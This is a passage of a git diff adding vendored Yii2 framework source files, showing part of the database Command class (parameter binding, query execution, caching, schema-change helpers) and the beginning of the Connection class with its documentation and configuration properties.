* Use 0 to indicate that the cached data will never expire. + * @param \yii\caching\Dependency $dependency the cache dependency associated with the cached query result. + * @return static the command object itself + */ + public function cache($duration = null, $dependency = null) + { + $this->queryCacheDuration = $duration === null ? $this->db->queryCacheDuration : $duration; + $this->queryCacheDependency = $dependency; + return $this; + } + + /** + * Disables query cache for this command. + * @return static the command object itself + */ + public function noCache() + { + $this->queryCacheDuration = -1; + return $this; + } + + /** + * Returns the SQL statement for this command. + * @return string the SQL statement to be executed + */ + public function getSql() + { + return $this->_sql; + } + + /** + * Specifies the SQL statement to be executed. + * The previous SQL execution (if any) will be cancelled, and [[params]] will be cleared as well. + * @param string $sql the SQL statement to be set. + * @return static this command instance + */ + public function setSql($sql) + { + if ($sql !== $this->_sql) { + $this->cancel(); + $this->_sql = $this->db->quoteSql($sql); + $this->_pendingParams = []; + $this->params = []; + } + + return $this; + } + + /** + * Returns the raw SQL by inserting parameter values into the corresponding placeholders in [[sql]]. + * Note that the return value of this method should mainly be used for logging purpose. + * It is likely that this method returns an invalid SQL due to improper replacement of parameter placeholders. + * @return string the raw SQL with parameter values inserted into the corresponding placeholders in [[sql]]. + */ + public function getRawSql() + { + if (empty($this->params)) { + return $this->_sql; + } else { + $params = []; + foreach ($this->params as $name => $value) { + if (is_string($value)) { + $params[$name] = $this->db->quoteValue($value); + } elseif ($value === null) { + $params[$name] = 'NULL'; + } else { + $params[$name] = $value; + } + } + if (isset($params[1])) { + $sql = ''; + foreach (explode('?', $this->_sql) as $i => $part) { + $sql .= (isset($params[$i]) ? $params[$i] : '') . $part; + } + + return $sql; + } else { + return strtr($this->_sql, $params); + } + } + } + + /** + * Prepares the SQL statement to be executed. + * For complex SQL statement that is to be executed multiple times, + * this may improve performance. + * For SQL statement with binding parameters, this method is invoked + * automatically. + * @param boolean $forRead whether this method is called for a read query. If null, it means + * the SQL statement should be used to determine whether it is for read or write. + * @throws Exception if there is any DB error + */ + public function prepare($forRead = null) + { + if ($this->pdoStatement) { + $this->bindPendingParams(); + return; + } + + $sql = $this->getSql(); + + if ($this->db->getTransaction()) { + // master is in a transaction. use the same connection. + $forRead = false; + } + if ($forRead || $forRead === null && $this->db->getSchema()->isReadQuery($sql)) { + $pdo = $this->db->getSlavePdo(); + } else { + $pdo = $this->db->getMasterPdo(); + } + + try { + $this->pdoStatement = $pdo->prepare($sql); + $this->bindPendingParams(); + } catch (\Exception $e) { + $message = $e->getMessage() . "\nFailed to prepare SQL: $sql"; + $errorInfo = $e instanceof \PDOException ? $e->errorInfo : null; + throw new Exception($message, $errorInfo, (int) $e->getCode(), $e); + } + } + + /** + * Cancels the execution of the SQL statement. + * This method mainly sets [[pdoStatement]] to be null. + */ + public function cancel() + { + $this->pdoStatement = null; + } + + /** + * Binds a parameter to the SQL statement to be executed. + * @param string|integer $name parameter identifier. For a prepared statement + * using named placeholders, this will be a parameter name of + * the form `:name`. For a prepared statement using question mark + * placeholders, this will be the 1-indexed position of the parameter. + * @param mixed $value Name of the PHP variable to bind to the SQL statement parameter + * @param integer $dataType SQL data type of the parameter. If null, the type is determined by the PHP type of the value. + * @param integer $length length of the data type + * @param mixed $driverOptions the driver-specific options + * @return static the current command being executed + * @see http://www.php.net/manual/en/function.PDOStatement-bindParam.php + */ + public function bindParam($name, &$value, $dataType = null, $length = null, $driverOptions = null) + { + $this->prepare(); + + if ($dataType === null) { + $dataType = $this->db->getSchema()->getPdoType($value); + } + if ($length === null) { + $this->pdoStatement->bindParam($name, $value, $dataType); + } elseif ($driverOptions === null) { + $this->pdoStatement->bindParam($name, $value, $dataType, $length); + } else { + $this->pdoStatement->bindParam($name, $value, $dataType, $length, $driverOptions); + } + $this->params[$name] =& $value; + + return $this; + } + + /** + * Binds pending parameters that were registered via [[bindValue()]] and [[bindValues()]]. + * Note that this method requires an active [[pdoStatement]]. + */ + protected function bindPendingParams() + { + foreach ($this->_pendingParams as $name => $value) { + $this->pdoStatement->bindValue($name, $value[0], $value[1]); + } + $this->_pendingParams = []; + } + + /** + * Binds a value to a parameter. + * @param string|integer $name Parameter identifier. For a prepared statement + * using named placeholders, this will be a parameter name of + * the form `:name`. For a prepared statement using question mark + * placeholders, this will be the 1-indexed position of the parameter. + * @param mixed $value The value to bind to the parameter + * @param integer $dataType SQL data type of the parameter. If null, the type is determined by the PHP type of the value. + * @return static the current command being executed + * @see http://www.php.net/manual/en/function.PDOStatement-bindValue.php + */ + public function bindValue($name, $value, $dataType = null) + { + if ($dataType === null) { + $dataType = $this->db->getSchema()->getPdoType($value); + } + $this->_pendingParams[$name] = [$value, $dataType]; + $this->params[$name] = $value; + + return $this; + } + + /** + * Binds a list of values to the corresponding parameters. + * This is similar to [[bindValue()]] except that it binds multiple values at a time. + * Note that the SQL data type of each value is determined by its PHP type. + * @param array $values the values to be bound. This must be given in terms of an associative + * array with array keys being the parameter names, and array values the corresponding parameter values, + * e.g. `[':name' => 'John', ':age' => 25]`. By default, the PDO type of each value is determined + * by its PHP type. You may explicitly specify the PDO type by using an array: `[value, type]`, + * e.g. `[':name' => 'John', ':profile' => [$profile, \PDO::PARAM_LOB]]`. + * @return static the current command being executed + */ + public function bindValues($values) + { + if (empty($values)) { + return $this; + } + + foreach ($values as $name => $value) { + if (is_array($value)) { + $this->_pendingParams[$name] = $value; + $this->params[$name] = $value[0]; + } else { + $type = $this->db->getSchema()->getPdoType($value); + $this->_pendingParams[$name] = [$value, $type]; + $this->params[$name] = $value; + } + } + + return $this; + } + + /** + * Executes the SQL statement and returns query result. + * This method is for executing a SQL query that returns result set, such as `SELECT`. + * @return DataReader the reader object for fetching the query result + * @throws Exception execution failed + */ + public function query() + { + return $this->queryInternal(''); + } + + /** + * Executes the SQL statement and returns ALL rows at once. + * @param integer $fetchMode the result fetch mode. Please refer to [PHP manual](http://www.php.net/manual/en/function.PDOStatement-setFetchMode.php) + * for valid fetch modes. If this parameter is null, the value set in [[fetchMode]] will be used. + * @return array all rows of the query result. Each array element is an array representing a row of data. + * An empty array is returned if the query results in nothing. + * @throws Exception execution failed + */ + public function queryAll($fetchMode = null) + { + return $this->queryInternal('fetchAll', $fetchMode); + } + + /** + * Executes the SQL statement and returns the first row of the result. + * This method is best used when only the first row of result is needed for a query. + * @param integer $fetchMode the result fetch mode. Please refer to [PHP manual](http://www.php.net/manual/en/function.PDOStatement-setFetchMode.php) + * for valid fetch modes. If this parameter is null, the value set in [[fetchMode]] will be used. + * @return array|boolean the first row (in terms of an array) of the query result. False is returned if the query + * results in nothing. + * @throws Exception execution failed + */ + public function queryOne($fetchMode = null) + { + return $this->queryInternal('fetch', $fetchMode); + } + + /** + * Executes the SQL statement and returns the value of the first column in the first row of data. + * This method is best used when only a single value is needed for a query. + * @return string|null|boolean the value of the first column in the first row of the query result. + * False is returned if there is no value. + * @throws Exception execution failed + */ + public function queryScalar() + { + $result = $this->queryInternal('fetchColumn', 0); + if (is_resource($result) && get_resource_type($result) === 'stream') { + return stream_get_contents($result); + } else { + return $result; + } + } + + /** + * Executes the SQL statement and returns the first column of the result. + * This method is best used when only the first column of result (i.e. the first element in each row) + * is needed for a query. + * @return array the first column of the query result. Empty array is returned if the query results in nothing. + * @throws Exception execution failed + */ + public function queryColumn() + { + return $this->queryInternal('fetchAll', \PDO::FETCH_COLUMN); + } + + /** + * Creates an INSERT command. + * For example, + * + * ~~~ + * $connection->createCommand()->insert('user', [ + * 'name' => 'Sam', + * 'age' => 30, + * ])->execute(); + * ~~~ + * + * The method will properly escape the column names, and bind the values to be inserted. + * + * Note that the created command is not executed until [[execute()]] is called. + * + * @param string $table the table that new rows will be inserted into. + * @param array $columns the column data (name => value) to be inserted into the table. + * @return Command the command object itself + */ + public function insert($table, $columns) + { + $params = []; + $sql = $this->db->getQueryBuilder()->insert($table, $columns, $params); + + return $this->setSql($sql)->bindValues($params); + } + + /** + * Creates a batch INSERT command. + * For example, + * + * ~~~ + * $connection->createCommand()->batchInsert('user', ['name', 'age'], [ + * ['Tom', 30], + * ['Jane', 20], + * ['Linda', 25], + * ])->execute(); + * ~~~ + * + * Note that the values in each row must match the corresponding column names. + * + * @param string $table the table that new rows will be inserted into. + * @param array $columns the column names + * @param array $rows the rows to be batch inserted into the table + * @return Command the command object itself + */ + public function batchInsert($table, $columns, $rows) + { + $sql = $this->db->getQueryBuilder()->batchInsert($table, $columns, $rows); + + return $this->setSql($sql); + } + + /** + * Creates an UPDATE command. + * For example, + * + * ~~~ + * $connection->createCommand()->update('user', ['status' => 1], 'age > 30')->execute(); + * ~~~ + * + * The method will properly escape the column names and bind the values to be updated. + * + * Note that the created command is not executed until [[execute()]] is called. + * + * @param string $table the table to be updated. + * @param array $columns the column data (name => value) to be updated. + * @param string|array $condition the condition that will be put in the WHERE part. Please + * refer to [[Query::where()]] on how to specify condition. + * @param array $params the parameters to be bound to the command + * @return Command the command object itself + */ + public function update($table, $columns, $condition = '', $params = []) + { + $sql = $this->db->getQueryBuilder()->update($table, $columns, $condition, $params); + + return $this->setSql($sql)->bindValues($params); + } + + /** + * Creates a DELETE command. + * For example, + * + * ~~~ + * $connection->createCommand()->delete('user', 'status = 0')->execute(); + * ~~~ + * + * The method will properly escape the table and column names. + * + * Note that the created command is not executed until [[execute()]] is called. + * + * @param string $table the table where the data will be deleted from. + * @param string|array $condition the condition that will be put in the WHERE part. Please + * refer to [[Query::where()]] on how to specify condition. + * @param array $params the parameters to be bound to the command + * @return Command the command object itself + */ + public function delete($table, $condition = '', $params = []) + { + $sql = $this->db->getQueryBuilder()->delete($table, $condition, $params); + + return $this->setSql($sql)->bindValues($params); + } + + /** + * Creates a SQL command for creating a new DB table. + * + * The columns in the new table should be specified as name-definition pairs (e.g. 'name' => 'string'), + * where name stands for a column name which will be properly quoted by the method, and definition + * stands for the column type which can contain an abstract DB type. + * The method [[QueryBuilder::getColumnType()]] will be called + * to convert the abstract column types to physical ones. For example, `string` will be converted + * as `varchar(255)`, and `string not null` becomes `varchar(255) not null`. + * + * If a column is specified with definition only (e.g. 'PRIMARY KEY (name, type)'), it will be directly + * inserted into the generated SQL. + * + * @param string $table the name of the table to be created. The name will be properly quoted by the method. + * @param array $columns the columns (name => definition) in the new table. + * @param string $options additional SQL fragment that will be appended to the generated SQL. + * @return Command the command object itself + */ + public function createTable($table, $columns, $options = null) + { + $sql = $this->db->getQueryBuilder()->createTable($table, $columns, $options); + + return $this->setSql($sql); + } + + /** + * Creates a SQL command for renaming a DB table. + * @param string $table the table to be renamed. The name will be properly quoted by the method. + * @param string $newName the new table name. The name will be properly quoted by the method. + * @return Command the command object itself + */ + public function renameTable($table, $newName) + { + $sql = $this->db->getQueryBuilder()->renameTable($table, $newName); + + return $this->setSql($sql); + } + + /** + * Creates a SQL command for dropping a DB table. + * @param string $table the table to be dropped. The name will be properly quoted by the method. + * @return Command the command object itself + */ + public function dropTable($table) + { + $sql = $this->db->getQueryBuilder()->dropTable($table); + + return $this->setSql($sql); + } + + /** + * Creates a SQL command for truncating a DB table. + * @param string $table the table to be truncated. The name will be properly quoted by the method. + * @return Command the command object itself + */ + public function truncateTable($table) + { + $sql = $this->db->getQueryBuilder()->truncateTable($table); + + return $this->setSql($sql); + } + + /** + * Creates a SQL command for adding a new DB column. + * @param string $table the table that the new column will be added to. The table name will be properly quoted by the method. + * @param string $column the name of the new column. The name will be properly quoted by the method. + * @param string $type the column type. [[\yii\db\QueryBuilder::getColumnType()]] will be called + * to convert the give column type to the physical one. For example, `string` will be converted + * as `varchar(255)`, and `string not null` becomes `varchar(255) not null`. + * @return Command the command object itself + */ + public function addColumn($table, $column, $type) + { + $sql = $this->db->getQueryBuilder()->addColumn($table, $column, $type); + + return $this->setSql($sql); + } + + /** + * Creates a SQL command for dropping a DB column. + * @param string $table the table whose column is to be dropped. The name will be properly quoted by the method. + * @param string $column the name of the column to be dropped. The name will be properly quoted by the method. + * @return Command the command object itself + */ + public function dropColumn($table, $column) + { + $sql = $this->db->getQueryBuilder()->dropColumn($table, $column); + + return $this->setSql($sql); + } + + /** + * Creates a SQL command for renaming a column. + * @param string $table the table whose column is to be renamed. The name will be properly quoted by the method. + * @param string $oldName the old name of the column. The name will be properly quoted by the method. + * @param string $newName the new name of the column. The name will be properly quoted by the method. + * @return Command the command object itself + */ + public function renameColumn($table, $oldName, $newName) + { + $sql = $this->db->getQueryBuilder()->renameColumn($table, $oldName, $newName); + + return $this->setSql($sql); + } + + /** + * Creates a SQL command for changing the definition of a column. + * @param string $table the table whose column is to be changed. The table name will be properly quoted by the method. + * @param string $column the name of the column to be changed. The name will be properly quoted by the method. + * @param string $type the column type. [[\yii\db\QueryBuilder::getColumnType()]] will be called + * to convert the give column type to the physical one. For example, `string` will be converted + * as `varchar(255)`, and `string not null` becomes `varchar(255) not null`. + * @return Command the command object itself + */ + public function alterColumn($table, $column, $type) + { + $sql = $this->db->getQueryBuilder()->alterColumn($table, $column, $type); + + return $this->setSql($sql); + } + + /** + * Creates a SQL command for adding a primary key constraint to an existing table. + * The method will properly quote the table and column names. + * @param string $name the name of the primary key constraint. + * @param string $table the table that the primary key constraint will be added to. + * @param string|array $columns comma separated string or array of columns that the primary key will consist of. + * @return Command the command object itself. + */ + public function addPrimaryKey($name, $table, $columns) + { + $sql = $this->db->getQueryBuilder()->addPrimaryKey($name, $table, $columns); + + return $this->setSql($sql); + } + + /** + * Creates a SQL command for removing a primary key constraint to an existing table. + * @param string $name the name of the primary key constraint to be removed. + * @param string $table the table that the primary key constraint will be removed from. + * @return Command the command object itself + */ + public function dropPrimaryKey($name, $table) + { + $sql = $this->db->getQueryBuilder()->dropPrimaryKey($name, $table); + + return $this->setSql($sql); + } + + /** + * Creates a SQL command for adding a foreign key constraint to an existing table. + * The method will properly quote the table and column names. + * @param string $name the name of the foreign key constraint. + * @param string $table the table that the foreign key constraint will be added to. + * @param string $columns the name of the column to that the constraint will be added on. If there are multiple columns, separate them with commas. + * @param string $refTable the table that the foreign key references to. + * @param string $refColumns the name of the column that the foreign key references to. If there are multiple columns, separate them with commas. + * @param string $delete the ON DELETE option. Most DBMS support these options: RESTRICT, CASCADE, NO ACTION, SET DEFAULT, SET NULL + * @param string $update the ON UPDATE option. Most DBMS support these options: RESTRICT, CASCADE, NO ACTION, SET DEFAULT, SET NULL + * @return Command the command object itself + */ + public function addForeignKey($name, $table, $columns, $refTable, $refColumns, $delete = null, $update = null) + { + $sql = $this->db->getQueryBuilder()->addForeignKey($name, $table, $columns, $refTable, $refColumns, $delete, $update); + + return $this->setSql($sql); + } + + /** + * Creates a SQL command for dropping a foreign key constraint. + * @param string $name the name of the foreign key constraint to be dropped. The name will be properly quoted by the method. + * @param string $table the table whose foreign is to be dropped. The name will be properly quoted by the method. + * @return Command the command object itself + */ + public function dropForeignKey($name, $table) + { + $sql = $this->db->getQueryBuilder()->dropForeignKey($name, $table); + + return $this->setSql($sql); + } + + /** + * Creates a SQL command for creating a new index. + * @param string $name the name of the index. The name will be properly quoted by the method. + * @param string $table the table that the new index will be created for. The table name will be properly quoted by the method. + * @param string|array $columns the column(s) that should be included in the index. If there are multiple columns, please separate them + * by commas. The column names will be properly quoted by the method. + * @param boolean $unique whether to add UNIQUE constraint on the created index. + * @return Command the command object itself + */ + public function createIndex($name, $table, $columns, $unique = false) + { + $sql = $this->db->getQueryBuilder()->createIndex($name, $table, $columns, $unique); + + return $this->setSql($sql); + } + + /** + * Creates a SQL command for dropping an index. + * @param string $name the name of the index to be dropped. The name will be properly quoted by the method. + * @param string $table the table whose index is to be dropped. The name will be properly quoted by the method. + * @return Command the command object itself + */ + public function dropIndex($name, $table) + { + $sql = $this->db->getQueryBuilder()->dropIndex($name, $table); + + return $this->setSql($sql); + } + + /** + * Creates a SQL command for resetting the sequence value of a table's primary key. + * The sequence will be reset such that the primary key of the next new row inserted + * will have the specified value or 1. + * @param string $table the name of the table whose primary key sequence will be reset + * @param mixed $value the value for the primary key of the next new row inserted. If this is not set, + * the next new row's primary key will have a value 1. + * @return Command the command object itself + * @throws NotSupportedException if this is not supported by the underlying DBMS + */ + public function resetSequence($table, $value = null) + { + $sql = $this->db->getQueryBuilder()->resetSequence($table, $value); + + return $this->setSql($sql); + } + + /** + * Builds a SQL command for enabling or disabling integrity check. + * @param boolean $check whether to turn on or off the integrity check. + * @param string $schema the schema name of the tables. Defaults to empty string, meaning the current + * or default schema. + * @param string $table the table name. + * @return Command the command object itself + * @throws NotSupportedException if this is not supported by the underlying DBMS + */ + public function checkIntegrity($check = true, $schema = '', $table = '') + { + $sql = $this->db->getQueryBuilder()->checkIntegrity($check, $schema, $table); + + return $this->setSql($sql); + } + + /** + * Executes the SQL statement. + * This method should only be used for executing non-query SQL statement, such as `INSERT`, `DELETE`, `UPDATE` SQLs. + * No result set will be returned. + * @return integer number of rows affected by the execution. + * @throws Exception execution failed + */ + public function execute() + { + $sql = $this->getSql(); + + $rawSql = $this->getRawSql(); + + Yii::info($rawSql, __METHOD__); + + if ($sql == '') { + return 0; + } + + $this->prepare(false); + + $token = $rawSql; + try { + Yii::beginProfile($token, __METHOD__); + + $this->pdoStatement->execute(); + $n = $this->pdoStatement->rowCount(); + + Yii::endProfile($token, __METHOD__); + + return $n; + } catch (\Exception $e) { + Yii::endProfile($token, __METHOD__); + throw $this->db->getSchema()->convertException($e, $rawSql); + } + } + + /** + * Performs the actual DB query of a SQL statement. + * @param string $method method of PDOStatement to be called + * @param integer $fetchMode the result fetch mode. Please refer to [PHP manual](http://www.php.net/manual/en/function.PDOStatement-setFetchMode.php) + * for valid fetch modes. If this parameter is null, the value set in [[fetchMode]] will be used. + * @return mixed the method execution result + * @throws Exception if the query causes any problem + */ + private function queryInternal($method, $fetchMode = null) + { + $rawSql = $this->getRawSql(); + + Yii::info($rawSql, 'yii\db\Command::query'); + + if ($method !== '') { + $info = $this->db->getQueryCacheInfo($this->queryCacheDuration, $this->queryCacheDependency); + if (is_array($info)) { + /* @var $cache \yii\caching\Cache */ + $cache = $info[0]; + $cacheKey = [ + __CLASS__, + $method, + $this->db->dsn, + $this->db->username, + $rawSql, + ]; + if (($result = $cache->get($cacheKey)) !== false) { + Yii::trace('Query result served from cache', 'yii\db\Command::query'); + return $result; + } + } + } + + $this->prepare(true); + + $token = $rawSql; + try { + Yii::beginProfile($token, 'yii\db\Command::query'); + + $this->pdoStatement->execute(); + + if ($method === '') { + $result = new DataReader($this); + } else { + if ($fetchMode === null) { + $fetchMode = $this->fetchMode; + } + $result = call_user_func_array([$this->pdoStatement, $method], (array) $fetchMode); + $this->pdoStatement->closeCursor(); + } + + Yii::endProfile($token, 'yii\db\Command::query'); + } catch (\Exception $e) { + Yii::endProfile($token, 'yii\db\Command::query'); + throw $this->db->getSchema()->convertException($e, $rawSql); + } + + if (isset($cache, $cacheKey, $info)) { + $cache->set($cacheKey, $result, $info[1], $info[2]); + Yii::trace('Saved query result in cache', 'yii\db\Command::query'); + } + + return $result; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/Connection.php b/php/yii2/basic/vendor/yiisoft/yii2/db/Connection.php new file mode 100644 index 00000000..7e16f600 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/Connection.php @@ -0,0 +1,936 @@ + $dsn, + * 'username' => $username, + * 'password' => $password, + * ]); + * $connection->open(); + * ~~~ + * + * After the DB connection is established, one can execute SQL statements like the following: + * + * ~~~ + * $command = $connection->createCommand('SELECT * FROM post'); + * $posts = $command->queryAll(); + * $command = $connection->createCommand('UPDATE post SET status=1'); + * $command->execute(); + * ~~~ + * + * One can also do prepared SQL execution and bind parameters to the prepared SQL. + * When the parameters are coming from user input, you should use this approach + * to prevent SQL injection attacks. The following is an example: + * + * ~~~ + * $command = $connection->createCommand('SELECT * FROM post WHERE id=:id'); + * $command->bindValue(':id', $_GET['id']); + * $post = $command->query(); + * ~~~ + * + * For more information about how to perform various DB queries, please refer to [[Command]]. + * + * If the underlying DBMS supports transactions, you can perform transactional SQL queries + * like the following: + * + * ~~~ + * $transaction = $connection->beginTransaction(); + * try { + * $connection->createCommand($sql1)->execute(); + * $connection->createCommand($sql2)->execute(); + * // ... executing other SQL statements ... + * $transaction->commit(); + * } catch (Exception $e) { + * $transaction->rollBack(); + * } + * ~~~ + * + * You also can use shortcut for the above like the following: + * + * ~~~ + * $connection->transaction(function() { + * $order = new Order($customer); + * $order->save(); + * $order->addItems($items); + * }); + * ~~~ + * + * If needed you can pass transaction isolation level as a second parameter: + * + * ~~~ + * $connection->transaction(function(Connection $db) { + * //return $db->... + * }, Transaction::READ_UNCOMMITTED); + * ~~~ + * + * Connection is often used as an application component and configured in the application + * configuration like the following: + * + * ~~~ + * 'components' => [ + * 'db' => [ + * 'class' => '\yii\db\Connection', + * 'dsn' => 'mysql:host=127.0.0.1;dbname=demo', + * 'username' => 'root', + * 'password' => '', + * 'charset' => 'utf8', + * ], + * ], + * ~~~ + * + * @property string $driverName Name of the DB driver. + * @property boolean $isActive Whether the DB connection is established. This property is read-only. + * @property string $lastInsertID The row ID of the last row inserted, or the last value retrieved from the + * sequence object. This property is read-only. + * @property PDO $masterPdo The PDO instance for the currently active master connection. This property is + * read-only. + * @property QueryBuilder $queryBuilder The query builder for the current DB connection. This property is + * read-only. + * @property Schema $schema The schema information for the database opened by this connection. This property + * is read-only. + * @property Connection $slave The currently active slave connection. Null is returned if there is slave + * available and `$fallbackToMaster` is false. This property is read-only. + * @property PDO $slavePdo The PDO instance for the currently active slave connection. Null is returned if no + * slave connection is available and `$fallbackToMaster` is false. This property is read-only. + * @property Transaction $transaction The currently active transaction. Null if no active transaction. This + * property is read-only. + * + * @author Qiang Xue + * @since 2.0 + */ +class Connection extends Component +{ + /** + * @event Event an event that is triggered after a DB connection is established + */ + const EVENT_AFTER_OPEN = 'afterOpen'; + /** + * @event Event an event that is triggered right before a top-level transaction is started + */ + const EVENT_BEGIN_TRANSACTION = 'beginTransaction'; + /** + * @event Event an event that is triggered right after a top-level transaction is committed + */ + const EVENT_COMMIT_TRANSACTION = 'commitTransaction'; + /** + * @event Event an event that is triggered right after a top-level transaction is rolled back + */ + const EVENT_ROLLBACK_TRANSACTION = 'rollbackTransaction'; + + /** + * @var string the Data Source Name, or DSN, contains the information required to connect to the database. + * Please refer to the [PHP manual](http://www.php.net/manual/en/function.PDO-construct.php) on + * the format of the DSN string. + * @see charset + */ + public $dsn; + /** + * @var string the username for establishing DB connection. Defaults to `null` meaning no username to use. + */ + public $username; + /** + * @var string the password for establishing DB connection. Defaults to `null` meaning no password to use. + */ + public $password; + /** + * @var array PDO attributes (name => value) that should be set when calling [[open()]] + * to establish a DB connection. Please refer to the + * [PHP manual](http://www.php.net/manual/en/function.PDO-setAttribute.php) for + * details about available attributes. + */ + public $attributes; + /** + * @var PDO the PHP PDO instance associated with this DB connection. + * This property is mainly managed by [[open()]] and [[close()]] methods. + * When a DB connection is active, this property will represent a PDO instance; + * otherwise, it will be null. + */ + public $pdo; + /** + * @var boolean whether to enable schema caching. + * Note that in order to enable truly schema caching, a valid cache component as specified + * by [[schemaCache]] must be enabled and [[enableSchemaCache]] must be set true. + * @see schemaCacheDuration + * @see schemaCacheExclude + * @see schemaCache + */ + public $enableSchemaCache = false; + /** + * @var integer number of seconds that table metadata can remain valid in cache. + * Use 0 to indicate that the cached data will never expire. + * @see enableSchemaCache + */ + public $schemaCacheDuration = 3600; + /** + * @var array list of tables whose metadata should NOT be cached. Defaults to empty array. + * The table names may contain schema prefix, if any. Do not quote the table names. + * @see enableSchemaCache + */ + public $schemaCacheExclude = []; + /** + * @var Cache|string the cache object or the ID of the cache application component that + * is used to cache the table metadata. + * @see enableSchemaCache + */ + public $schemaCache = 'cache'; + /** + * @var boolean whether to enable query caching. + * Note that in order to enable query caching, a valid cache component as specified + * by [[queryCache]] must be enabled and [[enableQueryCache]] must be set true. + * Also, only the results of the queries enclosed within [[cache()]] will be cached. + * @see queryCache + * @see cache() + * @see noCache() + */ + public $enableQueryCache = true; + /** + * @var integer the default number of seconds that query results can remain valid in cache. + * Use 0 to indicate that the cached data will never expire. + * Defaults to 3600, meaning 3600 seconds, or one hour. Use 0 to indicate that the cached data will never expire. + * The value of this property will be used when [[cache()]] is called without a cache duration. + * @see enableQueryCache + * @see cache() + */ + public $queryCacheDuration = 3600; + /** + * @var Cache|string the cache object or the ID of the cache application component + * that is used for query caching. + * @see enableQueryCache + */ + public $queryCache = 'cache'; + /** + * @var string the charset used for database connection. The property is only used + * for MySQL, PostgreSQL and CUBRID databases. Defaults to null, meaning using default charset + * as specified by the database. + * + * Note that if you're using GBK or BIG5 then it's highly recommended to + * specify charset via DSN like 'mysql:dbname=mydatabase;host=127.0.0.1;charset=GBK;'. + */ + public $charset; + /** + * @var boolean whether to turn on prepare emulation. Defaults to false, meaning PDO + * will use the native prepare support if available. For some databases (such as MySQL), + * this may need to be set true so that PDO can emulate the prepare support to bypass + * the buggy native prepare support. + * The default value is null, which means the PDO ATTR_EMULATE_PREPARES value will not be changed. + */ + public $emulatePrepare; + /** + * @var string the common prefix or suffix for table names. If a table name is given + * as `{{%TableName}}`, then the percentage character `%` will be replaced with this + * property value. For example, `{{%post}}` becomes `{{tbl_post}}`. + */ + public $tablePrefix = ''; + /** + * @var array mapping between PDO driver names and [[Schema]] classes. + * The keys of the array are PDO driver names while the values the corresponding + * schema class name or configuration. Please refer to [[Yii::createObject()]] for + * details on how to specify a configuration. + * + * This property is mainly used by [[getSchema()]] when fetching the database schema information. + * You normally do not need to set this property unless you want to use your own + * [[Schema]] class to support DBMS that is not supported by Yii. + */ + public $schemaMap = [ + 'pgsql' => 'yii\db\pgsql\Schema', // PostgreSQL + 'mysqli' => 'yii\db\mysql\Schema', // MySQL + 'mysql' => 'yii\db\mysql\Schema', // MySQL + 'sqlite' => 'yii\db\sqlite\Schema', // sqlite 3 + 'sqlite2' => 'yii\db\sqlite\Schema', // sqlite 2 + 'sqlsrv' => 'yii\db\mssql\Schema', // newer MSSQL driver on MS Windows hosts + 'oci' => 'yii\db\oci\Schema', // Oracle driver + 'mssql' => 'yii\db\mssql\Schema', // older MSSQL driver on MS Windows hosts + 'dblib' => 'yii\db\mssql\Schema', // dblib drivers on GNU/Linux (and maybe other OSes) hosts + 'cubrid' => 'yii\db\cubrid\Schema', // CUBRID + ]; + /** + * @var string Custom PDO wrapper class. If not set, it will use "PDO" or "yii\db\mssql\PDO" when MSSQL is used. + */ + public $pdoClass; + /** + * @var boolean whether to enable [savepoint](http://en.wikipedia.org/wiki/Savepoint). + * Note that if the underlying DBMS does not support savepoint, setting this property to be true will have no effect. + */ + public $enableSavepoint = true; + /** + * @var Cache|string the cache object or the ID of the cache application component that is used to store + * the health status of the DB servers specified in [[masters]] and [[slaves]]. + * This is used only when read/write splitting is enabled or [[masters]] is not empty. + */ + public $serverStatusCache = 'cache'; + /** + * @var integer the retry interval in seconds for dead servers listed in [[masters]] and [[slaves]]. + * This is used together with [[serverStatusCache]]. + */ + public $serverRetryInterval = 600; + /** + * @var boolean whether to enable read/write splitting by using [[slaves]] to read data. + * Note that if [[slaves]] is empty, read/write splitting will NOT be enabled no matter what value this property takes. + */ + public $enableSlaves = true; + /** + * @var array list of slave connection configurations. Each configuration is used to create a slave DB connection. + * When [[enableSlaves]] is true, one of these configurations will be chosen and used to create a DB connection + * for performing read queries only. + * @see enableSlaves + * @see slaveConfig + */ + public $slaves = []; + /** + * @var array the configuration that should be merged with every slave configuration listed in [[slaves]]. + * For example, + * + * ```php + * [ + * 'username' => 'slave', + * 'password' => 'slave', + * 'attributes' => [ + * // use a smaller connection timeout + * PDO::ATTR_TIMEOUT => 10, + * ], + * ] + * ``` + */ + public $slaveConfig = []; + /** + * @var array list of master connection configurations. Each configuration is used to create a master DB connection. + * When [[open()]] is called, one of these configurations will be chosen and used to create a DB connection + * which will be used by this object. + * Note that when this property is not empty, the connection setting (e.g. "dsn", "username") of this object will + * be ignored. + * @see masterConfig + */ + public $masters = []; + /** + * @var array the configuration that should be merged with every master configuration listed in [[masters]]. + * For example, + * + * ```php + * [ + * 'username' => 'master', + * 'password' => 'master', + * 'attributes' => [ + * // use a smaller connection timeout + * PDO::ATTR_TIMEOUT => 10, + * ], + * ] + * ``` + */ + public $masterConfig = []; + + /** + * @var Transaction the currently active transaction + */ + private $_transaction; + /** + * @var Schema the database schema + */ + private $_schema; + /** + * @var string driver name + */ + private $_driverName; + /** + * @var Connection the currently active slave connection + */ + private $_slave = false; + /** + * @var array query cache parameters for the [[cache()]] calls + */ + private $_queryCacheInfo = []; + + + /** + * Returns a value indicating whether the DB connection is established. + * @return boolean whether the DB connection is established + */ + public function getIsActive() + { + return $this->pdo !== null; + } + + /** + * Uses query cache for the queries performed with the callable. + * When query caching is enabled ([[enableQueryCache]] is true and [[queryCache]] refers to a valid cache), + * queries performed within the callable will be cached and their results will be fetched from cache if available. + * For example, + * + * ```php + * // The customer will be fetched from cache if available. + * // If not, the query will be made against DB and cached for use next time. + * $customer = $db->cache(function (Connection $db) { + * return $db->createCommand('SELECT * FROM customer WHERE id=1')->queryOne(); + * }); + * ``` + * + * Note that query cache is only meaningful for queries that return results. For queries performed with + * [[Command::execute()]], query cache will not be used. + * + * @param callable $callable a PHP callable that contains DB queries which will make use of query cache. + * The signature of the callable is `function (Connection $db)`. + * @param integer $duration the number of seconds that query results can remain valid in the cache. If this is + * not set, the value of [[queryCacheDuration]] will be used instead. + * Use 0 to indicate that the cached data will never expire. + * @param \yii\caching\Dependency $dependency the cache dependency associated with the cached query results. + * @return mixed the return result of the callable + * @throws \Exception if there is any exception during query + * @see enableQueryCache + * @see queryCache + * @see noCache() + */ + public function cache(callable $callable, $duration = null, $dependency = null) + { + $this->_queryCacheInfo[] = [$duration === null ? 